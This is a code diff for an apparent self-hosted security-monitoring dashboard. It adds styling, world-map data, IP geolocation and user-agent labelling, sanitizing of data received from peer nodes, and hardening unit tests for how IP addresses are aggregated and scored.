+.seg button[aria-pressed="true"] { background: var(--accent); color: #04121c; font-weight: 600; } +:focus-visible { outline: 2px solid var(--accent); outline-offset: 2px; } +.live { display: inline-flex; align-items: center; gap: 6px; color: var(--muted); font-size: 12px; } +.dot { width: 8px; height: 8px; border-radius: 50%; background: var(--sev-info); display: inline-block; flex: none; } +.dot.on { background: var(--sev-low); box-shadow: 0 0 8px var(--sev-low); } +.dot.off { background: var(--sev-critical); } +.grid { display: grid; gap: 14px; } +.kpis { grid-template-columns: repeat(auto-fit, minmax(160px, 1fr)); margin-bottom: 14px; } +.panel { + background: var(--panel); border: 1px solid var(--line); border-radius: var(--radius); padding: 14px 16px; + box-shadow: var(--shadow); backdrop-filter: blur(10px); min-width: 0; +} +.panel h2 { font-size: 13px; text-transform: uppercase; letter-spacing: .08em; color: var(--muted); margin: 0 0 10px; font-weight: 600; } +.kpi .v { font-size: 28px; font-weight: 700; line-height: 1.1; font-variant-numeric: tabular-nums; } +.kpi .l { color: var(--muted); font-size: 12px; margin-top: 4px; } +.kpi.hot .v { color: var(--sev-critical); } +.kpi.warn .v { color: var(--sev-high); } +.cols-2 { grid-template-columns: 1fr 1fr; } +.cols-3 { grid-template-columns: repeat(3, 1fr); } +.cols-main { grid-template-columns: minmax(0, 2fr) minmax(0, 1fr); } +.mt { margin-top: 14px; } +.chart-wrap { position: relative; } +.chart-wrap svg { width: 100%; height: 230px; display: block; } +.chart-wrap .tip { + position: absolute; pointer-events: none; background: var(--bg-2); border: 1px solid var(--line); border-radius: 10px; + padding: 8px 10px; font-size: 12px; z-index: 5; min-width: 130px; box-shadow: var(--shadow); +} +.tip[hidden] { display: none; } +.tip div { display: flex; justify-content: space-between; gap: 12px; } +.axis { fill: var(--muted); font-size: 10px; } +.gridline { stroke: var(--line); stroke-width: 1; } +.hover-col { fill: transparent; } +.hover-col:hover { fill: color-mix(in srgb, var(--text) 8%, transparent); } +.b-notfound { fill: var(--sev-info); } .b-scanner { fill: var(--sev-medium); } .b-bruteforce { fill: var(--sev-high); } +.b-exploit { fill: var(--sev-critical); } .b-ssh-fail { fill: var(--accent); } .b-ssh-probe { fill: var(--c-ssh-probe); } +.b-ban { fill: var(--accent-2); } +.legend { display: flex; flex-wrap: wrap; gap: 6px 14px; margin-top: 8px; } +.legend button { background: none; border: 0; padding: 2px 0; display: inline-flex; align-items: center; gap: 6px; cursor: pointer; color: var(--text); font-size: 12px; } +.legend button[aria-pressed="false"] { opacity: .4; text-decoration: line-through; } +.sw { width: 10px; height: 10px; border-radius: 3px; display: inline-block; } +.sw.b-notfound { background: var(--sev-info); } .sw.b-scanner { background: var(--sev-medium); } .sw.b-bruteforce { background: var(--sev-high); } +.sw.b-exploit { background: var(--sev-critical); } .sw.b-ssh-fail { background: var(--accent); } .sw.b-ssh-probe { background: var(--c-ssh-probe); } +.sw.b-ban { background: var(--accent-2); } +table { width: 100%; border-collapse: collapse; } +th { text-align: left; font-size: 11px; text-transform: uppercase; letter-spacing: .06em; color: var(--muted); font-weight: 600; padding: 6px 8px; white-space: nowrap; } +th button { background: none; border: 0; padding: 0; cursor: pointer; color: inherit; font: inherit; text-transform: inherit; letter-spacing: inherit; } +td { padding: 8px; border-top: 1px solid var(--line); vertical-align: top; overflow-wrap: anywhere; } +tr.row { cursor: pointer; } +tr.row:hover td, tr.row:focus-visible td { background: var(--field); } +.num { font-variant-numeric: tabular-nums; } +.mono { font-family: ui-monospace, "SF Mono", Menlo, Consolas, monospace; font-size: 12.5px; } +.badge { display: inline-block; padding: 1px 8px; border-radius: 999px; font-size: 11px; font-weight: 600; border: 1px solid transparent; white-space: nowrap; } +.lv-hostile { background: color-mix(in srgb, var(--sev-critical) 22%, transparent); color: var(--sev-critical); border-color: var(--sev-critical); } +.lv-suspicious { background: color-mix(in srgb, var(--sev-medium) 20%, transparent); color: var(--sev-medium); border-color: var(--sev-medium); } +.lv-low { background: color-mix(in srgb, var(--sev-low) 16%, transparent); color: var(--sev-low); border-color: var(--sev-low); } +.chip { display: inline-block; margin: 0 4px 2px 0; padding: 0 6px; border-radius: 6px; background: var(--field); font-size: 11px; white-space: nowrap; } +.banned { color: var(--accent-2); font-weight: 600; } +.bar-row { display: grid; grid-template-columns: minmax(0, 1fr) auto; gap: 2px 10px; padding: 5px 0; border-top: 1px solid var(--line); } +.bar-row:first-of-type { border-top: 0; } +.bar-row .k { overflow-wrap: anywhere; } +.bar-row .n { color: var(--muted); font-variant-numeric: tabular-nums; } +.bar-row .bar { grid-column: 1 / -1; height: 3px; border-radius: 2px; background: var(--field); overflow: hidden; } +.bar-row .bar i { display: block; height: 100%; background: var(--accent); } +.empty { color: var(--muted); padding: 8px 0; } +.feed { list-style: none; margin: 0; padding: 0; max-height: 380px; overflow-y: auto; } +.feed li { padding: 6px 0; border-top: 1px solid var(--line); display: grid; grid-template-columns: auto auto minmax(0, 1fr); gap: 2px 8px; align-items: baseline; } +.feed li:first-child { border-top: 0; } +.feed .t { color: var(--muted); font-size: 12px; font-variant-numeric: tabular-nums; } +.feed .what { grid-column: 1 / -1; color: var(--muted); font-size: 12.5px; overflow-wrap: anywhere; } +.feed a, .linkish { color: var(--accent); cursor: pointer; background: none; border: 0; padding: 0; text-decoration: underline; text-underline-offset: 2px; } +.cat { display: inline-block; padding: 0 7px; border-radius: 6px; font-size: 11px; font-weight: 600; color: #04121c; } +.cat.b-notfound { background: var(--sev-info); color: #fff; } .cat.b-scanner { background: var(--sev-medium); } .cat.b-bruteforce { background: var(--sev-high); } +.cat.b-exploit { background: var(--sev-critical); color: #fff; } .cat.b-ssh-fail { background: var(--accent); } .cat.b-ssh-probe { background: var(--c-ssh-probe); } +.cat.b-ban { background: var(--accent-2); } .cat.b-ssh-ok { background: var(--sev-low); } .cat.b-ok { background: var(--sev-low); } +.toolbar { display: flex; flex-wrap: wrap; gap: 8px; align-items: center; margin-bottom: 10px; } +.toolbar input[type="text"] { flex: 1 1 140px; min-width: 0; } +.toolbar input[type="number"] { width: 84px; } +.pager { display: flex; justify-content: space-between; align-items: center; gap: 8px; margin-top: 10px; color: var(--muted); font-size: 12px; } +.hosts { display: grid; gap: 10px; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); } +.host { border: 1px solid var(--line); border-radius: 12px; padding: 10px 12px; } +.host h3 { margin: 0 0 4px; font-size: 14px; display: flex; align-items: center; gap: 8px; } +.host .meta { color: var(--muted); font-size: 12px; } +.host dl { display: grid; grid-template-columns: 1fr auto; gap: 2px 8px; margin: 8px 0 0; font-size: 12.5px; } +.host dd { margin: 0; font-variant-numeric: tabular-nums; text-align: right; } +.host dt { color: var(--muted); } +.st-following, .st-ok { color: var(--sev-low); } .st-waiting, .st-backfill { color: var(--sev-medium); } .st-error { color: var(--sev-critical); } +aside#detail { + position: fixed; top: 0; right: 0; bottom: 0; width: min(460px, 100vw); background: var(--bg-2); border-left: 1px solid var(--line); + box-shadow: var(--shadow); z-index: 20; padding: 18px 16px; overflow-y: auto; overflow-x: hidden; +} +aside#detail[hidden] { display: none; } +aside#detail h2 { font-size: 18px; text-transform: none; letter-spacing: 0; color: var(--text); margin: 0; overflow-wrap: anywhere; } +aside#detail dl { display: grid; grid-template-columns: 110px minmax(0, 1fr); gap: 6px 10px; margin: 14px 0; } +aside#detail dt { color: var(--muted); } +aside#detail dd { margin: 0; overflow-wrap: anywhere; } +aside#detail ul { margin: 0; padding-left: 16px; } +.scrim { position: fixed; inset: 0; background: rgba(0, 0, 0, .45); z-index: 15; } +.scrim[hidden] { display: none; } +footer { color: var(--muted); font-size: 12px; text-align: center; padding: 20px 0 6px; } +.err-banner { background: color-mix(in srgb, var(--sev-critical) 18%, transparent); border: 1px solid var(--sev-critical); border-radius: 10px; padding: 8px 12px; margin-bottom: 12px; } +.err-banner[hidden] { display: none; } +.login { min-height: 100vh; display: grid; place-items: center; padding: 16px; } +.login .panel { width: min(400px, 100%); padding: 26px 22px; text-align: center; } +.login img { width: 84px; height: 84px; border-radius: 20px; } +.login h1 { margin: 10px 0 2px; } +.login p { color: var(--muted); margin: 0 0 16px; } +.login form { display: grid; gap: 10px; } +.login .msg { color: var(--sev-critical); min-height: 1.4em; } +.login .controls { justify-content: center; margin-top: 14px; } +@media (max-width: 960px) { + .cols-main, .cols-3 { grid-template-columns: 1fr; } + .cols-2 { grid-template-columns: 1fr; } +} +@media (max-width: 720px) { + .wrap { padding: 12px; } + .brand small { display: none; } + .kpi .v { font-size: 24px; } + table.stack thead { display: none; } + table.stack, table.stack tbody, table.stack tr, table.stack td { display: block; width: 100%; } + table.stack tr { border-top: 1px solid var(--line); padding: 8px 0; } + table.stack td { border: 0; padding: 2px 0; display: flex; justify-content: space-between; gap: 12px; text-align: right; } + table.stack td::before { content: attr(data-label); color: var(--muted); font-size: 11px; text-transform: uppercase; letter-spacing: .05em; text-align: left; flex: none; } + table.stack td > * { min-width: 0; } + .chart-wrap svg { height: 190px; } +} +@media (prefers-reduced-motion: reduce) { * { transition: none !important; animation: none !important; } } +#ips td:first-child, #ips td:nth-child(2), #sources td:nth-child(-n+2), #sources td:nth-child(n+4) { white-space: nowrap; overflow-wrap: normal; } +@media (max-width: 720px) { + #ips td, #sources td { white-space: normal !important; max-width: none !important; } + #ips td:first-child { font-weight: 600; } +} +.tabs { display: flex; flex-wrap: wrap; gap: 6px; align-items: center; margin-bottom: 14px; } +.tabs button[role="tab"] { background: var(--field); border: 1px solid var(--line); border-radius: 10px; padding: 8px 18px; cursor: pointer; font-weight: 600; } +.tabs button[aria-selected="true"] { background: var(--accent); color: #04121c; border-color: transparent; } +.tabs select { margin-left: auto; max-width: 100%; } +.tabs select[hidden] { display: none; } +.mapbox { display: grid; grid-template-columns: minmax(0, 3fr) minmax(0, 1fr); gap: 14px; align-items: start; } +.map svg { width: 100%; height: auto; display: block; } +.mapc { fill: var(--field); stroke: var(--line); stroke-width: .6; } +.mapc.hit { fill: var(--sev-critical); stroke: var(--line); } +.map.good .mapc.hit { fill: var(--accent); } +.maplist .bar-row { padding: 4px 0; } +.sw.t-req { background: color-mix(in srgb, var(--accent) 38%, transparent); } +.sw.t-pages { background: var(--accent); } +.b-treq { fill: color-mix(in srgb, var(--accent) 38%, transparent); } +.b-tpages { fill: var(--accent); } +.bar-row .sub { grid-column: 1 / -1; color: var(--muted); font-size: 11.5px; overflow-wrap: anywhere; } +.origin { display: block; } +.origin small, td small { display: block; color: var(--muted); font-size: 11.5px; overflow-wrap: anywhere; } +footer #attrib { margin-top: 4px; opacity: .8; } +@media (max-width: 960px) { .mapbox { grid-template-columns: 1fr; } } + +/* compact IP table: one line per IP on desktop */ +#ips td { padding: 5px 8px; } +#ips .origin { display: block; max-width: 170px; overflow: hidden; text-overflow: ellipsis; white-space: nowrap; } +#ips td:nth-child(4) { white-space: nowrap; } +#ips td:nth-child(4) .chip { margin-bottom: 0; } +@media (max-width: 720px) { + #ips .origin { max-width: none; white-space: normal; } +} diff --git a/internal/server/web/world.js b/internal/server/web/world.js new file mode 100644 index 0000000..04f274b --- /dev/null +++ b/internal/server/web/world.js @@ -0,0 +1,2 @@ +/* Generated by scripts/gen-world.mjs from Natural Earth (public domain). */ +window.URUTAU_WORLD = {"w":2000,"h":789,"paths":{"FJ":"M1990 564l1 -1l2 2l-1 3l-3 0l-4 0l0 -3l2 -2l3 1zM0 556l1 0l-1 2l0 1M1996 560l-3 1l-1 -2l3 -1l2 0l3 -2M0 556z","TZ":"M1188 472l1 1l20 11l1 3l8 6l-3 7l1 3l3 2l0 1l-1 4l0 1l0 3l2 3l2 6l2 1l-4 3l-7 2l-3 0l-2 2l-4 0l-1 1l-7 -2l-4 1l-2 -8l-1 -2l-2 -2l-5 -1l-3 -2l-4 -1l-2 -1l-2 -1l-3 -7l-3 -3l-2 -3l1 -3l-1 -5l2 -1l2 -2l2 -2l2 -2l0 -1l-1 -2l-1 -2l2 -1l0 -3l-2 -3l2 -1l6 0l11 0z","EH":"M952 313l0 2l0 8l-18 0l0 14l-6 0l-1 3l1 8l-22 0l-1 2l0 -2l1 0l12 -1l1 -2l2 -2l2 -8l8 -6l2 -7l2 0l2 -5l4 0l2 0l3 0l2 -1l3 0l0 -3l1 0z","CA":"M318 194l-1 0l-11 -5l-4 -2l-10 -3l-3 -5l1 -3l-7 -2l-1 -5l-7 -4l0 -3l3 -2l0 -4l-10 -3l-5 -7l-4 -4l-5 -2l-4 -3l-3 -2l-5 1l-6 3l-5 -3l-3 -3l-6 -1l-5 0l0 -32l0 -21l10 2l9 2l6 1l5 -2l6 -2l9 1l8 -3l9 -1l4 2l4 -1l1 -3l4 1l9 5l8 -4l1 4l6 -1l2 -1l7 0l9 2l13 2l7 1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l0 -2l-4 -2l-3 -2l1 -1l2 -1l2 -5l1 -2l4 -1l1 1l3 4l2 0l2 -1l4 0l0 2l6 0l0 -2l3 -1l1 -1l2 -1l4 3l3 -1l3 -4l3 -3l0 -3l-2 -2l4 0l0 -1l2 0l0 4l0 4l3 2l1 2l0 3l1 0l0 4l-1 2l-3 0l-2 3l3 1l3 3l1 2l3 1l3 6l-4 4l-3 3l-4 3l-3 0l-5 1l-3 -1l-3 1z"},"centroids":{"AW":[611,397],"AF":[1361,283],"AO":[1103,536],"AI":[649,365],"AX":[1111,133],"AL":[1111,239],"AD":[1008,231],"AE":[1300,333],"AR":[644,656],"AM":[1250,244],"AS":[56,546],"AQ":[1000,789],"TF":[1384,740],"AG":[657,372],"AU":[1739,617],"AT":[1074,204],"AZ":[1264,242],"BI":[1167,486],"BE":[1022,184],"BJ":[1013,414],"BF":[989,395],"BD":[1500,333],"BG":[1139,228],"BH":[1281,322],"BS":[578,332],"BA":[1100,222],"BL":[648,364],"BY":[1156,172],"BZ":[507,371],"BM":[640,287],"BO":[639,561],"BR":[694,522],"BB":[669,394],"BN":[1637,442],"BT":[1503,314],"BV":[1019,769],"BW":[1133,589],"CF":[1117,428],"CA":[472,133],"CC":[1538,536],"CH":[1044,206],"CL":[606,633],"CN":[1583,272],"CI":[972,422],"CM":[1067,433],"CD":[1139,467],"CG":[1083,472],"CK":[112,585],"CO":[600,445],"KM":[1246,534],"CV":[867,378],"CR":[533,411],"CU":[556,347],"CW":[617,399],"CX":[1587,525],"KY":[553,358],"CY":[1183,272],"CZ":[1086,190],"DE":[1050,183],"DJ":[1239,403],"DM":[659,381],"DK":[1056,156],"DO":[607,361],"DZ":[1017,311],"EC":[569,478],"EG":[1167,317],"ER":[1217,383],"EH":[928,331],"ES":[978,244],"EE":[1144,139],"ET":[1211,422],"FI":[1144,111],"FJ":[1972,567],"FK":[672,754],"FR":[1011,211],"FO":[961,122],"FM":[1879,428],"GA":[1065,472],"GB":[989,167],"GE":[1242,233],"GG":[986,192],"GH":[989,422],"GI":[970,266],"GN":[944,406],"GP":[658,376],"GM":[908,392],"GW":[917,400],"GQ":[1056,456],"GR":[1122,250],"GD":[657,399],"GL":[778,67],"GT":[499,381],"GF":[706,445],"GU":[1804,392],"GY":[672,439],"HK":[1634,343],"HM":[1403,762],"HN":[519,383],"HR":[1086,216],"HT":[598,361],"HU":[1111,206],"ID":[1667,495],"IM":[975,165],"IN":[1428,356],"IO":[1397,500],"IE":[956,172],"IR":[1294,289],"IQ":[1244,283],"IS":[900,106],"IL":[1195,292],"IT":[1071,229],"JM":[569,365],"JE":[988,193],"JO":[1200,294],"JP":[1767,267],"KZ":[1378,200],"KE":[1211,461],"KG":[1417,239],"KH":[1583,395],"KI":[1961,459],"KN":[651,370],"KR":[1708,261],"XK":[1118,230],"KW":[1254,303],"LA":[1583,367],"LB":[1199,279],"LR":[947,431],"LY":[1094,328],"LC":[661,390],"LI":[1053,204],"LK":[1450,428],"LS":[1158,631],"LT":[1133,156],"LU":[1034,190],"LV":[1139,150],"MO":[1631,344],"MF":[645,366],"MA":[972,289],"MC":[1041,224],"MD":[1161,206],"MG":[1261,578],"MV":[1406,449],"MX":[433,339],"MH":[1933,417],"MK":[1122,234],"ML":[978,372],"MT":[1081,268],"MM":[1544,344],"ME":[1107,231],"MN":[1583,211],"MP":[1810,382],"MZ":[1194,568],"MR":[933,356],"MS":[654,374],"MQ":[661,385],"MU":[1320,579],"MW":[1189,542],"MY":[1625,453],"YT":[1251,538],"NA":[1094,589],"NC":[1919,586],"NE":[1044,378],"NF":[1933,628],"NG":[1044,411],"NI":[528,395],"NU":[56,572],"NL":[1032,175],"NO":[1056,122],"NP":[1467,311],"NR":[1927,470],"NZ":[1967,695],"OM":[1317,350],"PK":[1389,300],"PA":[556,417],"PN":[277,606],"PE":[578,522],"PH":[1678,395],"PW":[1747,425],"PG":[1817,500],"PL":[1111,178],"PR":[631,365],"KP":[1706,244],"PT":[956,247],"PY":[678,595],"PS":[1196,289],"PF":[222,550],"QA":[1285,325],"RE":[1308,584],"RO":[1139,211],"RU":[1556,133],"RW":[1167,478],"SA":[1250,328],"SD":[1167,383],"SN":[922,389],"SG":[1577,459],"GS":[794,770],"SJ":[1111,33],"SB":[1883,511],"SL":[936,420],"SV":[506,390],"SM":[1069,224],"SO":[1272,411],"PM":[687,207],"RS":[1117,222],"SS":[1167,428],"ST":[1039,461],"SR":[689,445],"SK":[1108,196],"SI":[1082,210],"SE":[1083,122],"SZ":[1175,614],"SX":[650,367],"SC":[1309,492],"SY":[1211,272],"TC":[602,346],"TD":[1106,383],"TG":[1006,422],"TH":[1556,383],"TJ":[1394,250],"TK":[44,517],"TM":[1333,244],"TL":[1700,516],"TO":[28,578],"TT":[661,406],"TN":[1050,278],"TR":[1194,250],"TV":[1989,511],"TW":[1672,336],"TZ":[1194,500],"UG":[1178,461],"UA":[1178,194],"UY":[689,650],"US":[461,256],"UZ":[1356,239],"VA":[1069,234],"VC":[660,393],"VE":[633,422],"VG":[641,364],"VI":[639,365],"VN":[1599,377],"VU":[1928,556],"WF":[21,541],"WS":[43,542],"YE":[1267,383],"ZA":[1133,628],"ZM":[1167,550],"ZW":[1167,578]}}; diff --git a/internal/store/enrich.go b/internal/store/enrich.go new file mode 100644 index 0000000..f78d5a1 --- /dev/null +++ b/internal/store/enrich.go @@ -0,0 +1,51 @@ +package store + +import ( + "net/netip" + "strings" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +// Enrich adds country, city and network to an IP row (no-op without an +// enricher or when the row already carries the data, e.g. from a peer). +func (s *Store) Enrich(x *IPSummary) { + if s.enr == nil || x.CC != "" || x.ASN != 0 { + return + } + addr := x.IP + if p, err := netip.ParsePrefix(x.IP); err == nil { + addr = p.Addr().String() + } + if a, err := netip.ParseAddr(addr); err != nil || a.Zone() != "" { + return + } + g := s.enr.Geo(addr) + x.CC, x.Country, x.City, x.ASN, x.ASOrg = g.CC, g.Country, g.City, g.ASN, g.ASOrg +} + +// UALabel renders a parsed User-Agent as "Chrome / Windows / desktop" or the +// tool or bot name. Empty without an enricher. +func (s *Store) UALabel(raw string) string { + if s.enr == nil || raw == "" { + return "" + } + return LabelUA(s.enr.UA(raw)) +} + +// LabelUA formats a UAInfo. +func LabelUA(u core.UAInfo) string { + switch { + case u.Tool != "": + return u.Tool + " (tool)" + case u.Bot && u.BotName != "": + return u.BotName + " (bot)" + } + var parts []string + for _, p := range []string{u.Browser, u.OS, u.Device} { + if p != "" && p != "unknown" { + parts = append(parts, p) + } + } + return strings.Join(parts, " / ") +} diff --git a/internal/store/export.go b/internal/store/export.go new file mode 100644 index 0000000..203ff7d --- /dev/null +++ b/internal/store/export.go @@ -0,0 +1,256 @@ +package store + +import ( + "errors" + "math" + "net/netip" + "strings" + "unicode/utf8" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +// ExportVersion is the schema version of PeerExport. +const ExportVersion = 1 + +// PeerExport is the single document a hub pulls from a peer: the threat +// summary (IP rows already carry the detail the hub shows), and the traffic +// analytics for all domains together and for each domain. +type PeerExport struct { + V int `json:"v"` + Summary Summary `json:"summary"` + Traffic map[string]TrafficData `json:"traffic"` +} + +// Export builds the peer document for a range. +func (s *Store) Export(rangeName string) PeerExport { + rg := ParseRange(rangeName) + all := s.TrafficSummary(rg.Name, "all") + e := PeerExport{V: ExportVersion, Summary: s.Summary(rg.Name), Traffic: map[string]TrafficData{"all": all}} + for _, d := range all.Domains { + e.Traffic[d.Key] = s.TrafficSummary(rg.Name, d.Key) + } + return e +} + +var errBadExport = errors.New("invalid peer export") + +// clipS bounds a string and strips control characters (it may come from a peer). +func clipS(s string, n int) string { + if strings.IndexFunc(s, func(r rune) bool { return r < 0x20 || r == 0x7f }) >= 0 { + s = strings.Map(func(r rune) rune { + if r < 0x20 || r == 0x7f { + return -1 + } + return r + }, s) + } + if len(s) <= n { + return s + } + return strings.ToValidUTF8(s[:n], "") +} + +func clipList(l []string, max, n int) []string { + if len(l) > max { + l = l[:max] + } + for i := range l { + l[i] = clipS(l[i], n) + } + return l +} + +func clipCounts(l []Count, max int) []Count { + if len(l) > max { + l = l[:max] + } + for i := range l { + l[i].Key, l[i].Label = clipS(l[i].Key, 300), clipS(l[i].Label, 120) + } + return l +} + +func finite(f float64) bool { return !math.IsNaN(f) && !math.IsInf(f, 0) && f >= 0 } + +func fixGrid(series map[string][]uint32, cats []string, nb int) { + for _, c := range cats { + if len(series[c]) != nb { + series[c] = make([]uint32, nb) + } + } +} + +// Sanitize bounds everything that came from a peer: a compromised peer must +// not be able to inflate the hub's memory or break its charts. It rejects +// documents of the wrong schema version. +func (e *PeerExport) Sanitize(rangeName string) error { + if e.V != ExportVersion { + return errBadExport + } + rg := ParseRange(rangeName) + s := &e.Summary + s.Version = clipS(s.Version, 32) + s.Range, s.Attribution = rg.Name, clipS(s.Attribution, 200) + if len(s.Hosts) > 4 { + s.Hosts = s.Hosts[:4] + } + for i := range s.Hosts { + s.Hosts[i].Version, s.Hosts[i].Error = clipS(s.Hosts[i].Version, 32), clipS(s.Hosts[i].Error, 160) + } + // timeline: the grid is fixed by the range + nb := int(rg.Dur.Seconds()) / int(rg.Step) + s.Timeline.Step, s.Timeline.Cats = rg.Step, catStrings() + if s.Timeline.Series == nil { + s.Timeline.Series = map[string][]uint32{} + } + fixGrid(s.Timeline.Series, s.Timeline.Cats, nb) + for k := range s.Timeline.Series { + known := false + for _, c := range s.Timeline.Cats { + known = known || c == k + } + if !known { + delete(s.Timeline.Series, k) + } + } + cats := map[string]bool{} + for _, c := range core.Categories { + cats[string(c)] = true + } + for k := range s.Totals.Counts { + if !cats[k] { + delete(s.Totals.Counts, k) + } + } + if len(s.IPs) > summaryIPs { + s.IPs = s.IPs[:summaryIPs] + } + ips := s.IPs[:0] + for _, x := range s.IPs { + key, ok := sanitizeKey(x.IP) + if !ok || math.IsNaN(x.Score) || math.IsInf(x.Score, 0) { + continue + } + x.IP = key + x.Score = math.Max(0, math.Min(x.Score, 1e6)) + // a peer cannot grant admin immunity, and its strong flag only counts + // when its own score for the address is hostile + x.Admin = false + x.Strong = x.Strong && x.Score >= core.HostileScore + x.Level = core.LevelOf(x.Score, x.Strong, x.Admin) + for k := range x.Counts { + if !cats[k] { + delete(x.Counts, k) + } + } + x.Hosts = clipList(x.Hosts, 4, 64) + x.Domains, x.Samples = clipList(x.Domains, maxDomain, 120), clipList(x.Samples, maxSample, 300) + x.UAs, x.UALabels = clipList(x.UAs, maxUAs, 200), clipList(x.UALabels, maxUAs, 120) + x.Jails = clipList(x.Jails, maxJails, 40) + x.RDNS, x.CC, x.Country, x.City, x.ASOrg = clipS(x.RDNS, 200), clipS(x.CC, 2), clipS(x.Country, 80), clipS(x.City, 80), clipS(x.ASOrg, 120) + ips = append(ips, x) + } + s.IPs = ips + s.TopPaths, s.TopDomains = clipCounts(s.TopPaths, topKeep), clipCounts(s.TopDomains, topKeep) + s.TopUAs, s.TopUsers, s.Countries = clipCounts(s.TopUAs, topKeep), clipCounts(s.TopUsers, topKeep), clipCounts(s.Countries, 120) + if len(s.Recent) > 60 { + s.Recent = s.Recent[:60] + } + recent := s.Recent[:0] + for _, r := range s.Recent { + if !cats[r.Cat] { + continue // unknown category: it would become a CSS class in the dashboard + } + recent = append(recent, r) + } + s.Recent = recent + for i := range s.Recent { + r := &s.Recent[i] + r.IP, r.Cat, r.Source = clipS(r.IP, 45), clipS(r.Cat, 20), clipS(r.Source, 20) + r.Domain, r.Method, r.Path = clipS(r.Domain, 100), clipS(r.Method, 12), clipS(r.Path, 240) + r.User, r.Jail, r.CC = clipS(r.User, 64), clipS(r.Jail, 40), clipS(r.CC, 2) + } + if len(s.Sources) > 16 { + s.Sources = s.Sources[:16] + } + for i := range s.Sources { + x := &s.Sources[i] + x.Name, x.Path, x.Error = clipS(x.Name, 40), "", clipS(x.Error, 160) + if !validStates[x.State] { + x.State = "error" + } + } + + if e.Traffic == nil { + e.Traffic = map[string]TrafficData{} + } + if len(e.Traffic) > maxDomains+3 { + for k := range e.Traffic { + if len(e.Traffic) <= maxDomains+3 { + break + } + if k != "all" { + delete(e.Traffic, k) + } + } + } + for k, t := range e.Traffic { + if !utf8.ValidString(k) || len(k) > 253 { + delete(e.Traffic, k) + continue + } + t.sanitize(rg) + e.Traffic[k] = t + } + return nil +} + +func trafficGrid(rg Range) (int, int64) { + switch rg.Name { + case "1h": + return 60, 60 + case "24h": + return 96, 900 + } + return 168, 3600 +} + +func (t *TrafficData) sanitize(rg Range) { + nb, step := trafficGrid(rg) + t.Range = rg.Name + t.Domain = clipS(t.Domain, 253) + t.Timeline.Step = step + if len(t.Timeline.Req) != nb { + t.Timeline.Req = make([]uint32, nb) + } + if len(t.Timeline.Pages) != nb { + t.Timeline.Pages = make([]uint32, nb) + } + t.Domains = clipCounts(t.Domains, maxDomains+1) + t.TopPages, t.Referrers = clipCounts(t.TopPages, anTop), clipCounts(t.Referrers, anTop) + t.Countries, t.Cities = clipCounts(t.Countries, 120), clipCounts(t.Cities, anTop) + t.Browsers, t.OSes = clipCounts(t.Browsers, anTop), clipCounts(t.OSes, anTop) + t.Devices, t.BotNames = clipCounts(t.Devices, 10), clipCounts(t.BotNames, anTop) + t.Finish() +} + +// SanitizeTraffic bounds a TrafficData received from elsewhere. +func SanitizeTraffic(t *TrafficData, rangeName string) { t.sanitize(ParseRange(rangeName)) } + +var validStates = map[string]bool{"following": true, "waiting": true, "backfill": true, "error": true, "disabled": true} + +// sanitizeKey validates a table key received from a peer: a plain address +// (no zone) or an IPv6 /64 prefix, normalized. +func sanitizeKey(in string) (string, bool) { + if a, err := netip.ParseAddr(in); err == nil { + if a.Zone() != "" { + return "", false + } + return KeyOf(a.String()), true + } + if p, err := netip.ParsePrefix(in); err == nil && p.Addr().Is6() && p.Addr().Zone() == "" { + return KeyOf(in), true + } + return "", false +} diff --git a/internal/store/hardening_test.go b/internal/store/hardening_test.go new file mode 100644 index 0000000..48d75c7 --- /dev/null +++ b/internal/store/hardening_test.go @@ -0,0 +1,216 @@ +package store + +import ( + "fmt" + "math" + "path/filepath" + "strings" + "testing" + "time" + + "git.lucasrguerra.dev.br/ciberfauna/urutau/internal/core" +) + +func TestIPv6AggregatesBy64(t *testing.T) { + s := newStore("x", 100) + for i := 0; i < 300; i++ { + e := ev(fmt.Sprintf("2001:db8:0:1:%x::%x", i, i+1), core.Scanner, time.Minute) + s.Ingest(e) + } + s.Ingest(ev("2001:db8:0:2::5", core.Scanner, time.Minute)) + if n := s.IPCount(); n != 2 { + t.Fatalf("one /64 is one entry, got %d entries", n) + } + if KeyOf("2001:db8:0:1:ffff::9") != "2001:db8:0:1::/64" || KeyOf("8.8.8.8") != "8.8.8.8" || KeyOf("::ffff:8.8.8.8") != "8.8.8.8" { + t.Fatal("KeyOf") + } + d, ok := s.IP("2001:db8:0:1::77") + if !ok || d.IP != "2001:db8:0:1::/64" || d.Counts["scanner"] != 300 { + t.Fatalf("lookup by any address of the /64: %+v", d) + } +} + +func TestPerIPTextIsBoundedAndJailedIPsAreCapped(t *testing.T) { + s := newStore("x", 100) + for k := 0; k < 20; k++ { + e := ev("5.5.5.5", core.Scanner, time.Minute) + e.Path = fmt.Sprintf("/%d-", k) + strings.Repeat("A", 220) + e.UA = fmt.Sprintf("ua%d", k) + strings.Repeat("U", 190) + e.Domain = fmt.Sprintf("d%d.", k) + strings.Repeat("x", 90) + s.Ingest(e) + } + d, _ := s.IP("5.5.5.5") + if len(d.Samples) > 4 || len(d.UAs) > 2 || len(d.Domains) > 3 { + t.Fatalf("too many items: %d %d %d", len(d.Samples), len(d.UAs), len(d.Domains)) + } + for _, l := range [][]string{d.Samples, d.UAs, d.Domains} { + for _, v := range l { + if len(v) > 120 { + t.Fatalf("item of %d bytes", len(v)) + } + } + } + for i := 0; i < 300; i++ { + s.Ingest(core.Event{Time: t0, IP: fmt.Sprintf("1.1.%d.%d", i/250, i%250+1), Cat: core.Ban, Source: "fail2ban", Jail: "sshd"}) + } + if n := s.IPCount(); n > 100 { + t.Fatalf("jailed IPs bypass the cap: %d > 100", n) + } +} + +func TestLevelNeedsAStrongSignalAndAdminsAreNeverHostile(t *testing.T) { + s := newStore("x", 100) + s.SetAdminUsers([]string{"admin", "root", "lucas"}) + // an SPA answering 200 to /config.json (not a scanner hit) and soft probes weigh little + for i := 0; i < 17; i++ { + e := ev("7.7.7.7", core.Scanner, time.Minute) + e.Soft = true + s.Ingest(e) + } + if d, _ := s.IP("7.7.7.7"); d.Score != 8.5 || d.Level == core.LevelHostile { + t.Fatalf("soft probes: %+v", d) + } + // a huge score of one weak kind is suspicious, not hostile + for i := 0; i < 40; i++ { + s.Ingest(ev("7.7.7.8", core.Scanner, time.Minute)) // 120 points, one category, no tool + } + if d, _ := s.IP("7.7.7.8"); d.Level != core.LevelSuspicious || d.Strong { + t.Fatalf("one weak category: %+v", d) + } + // two distinct attack categories are a strong signal + 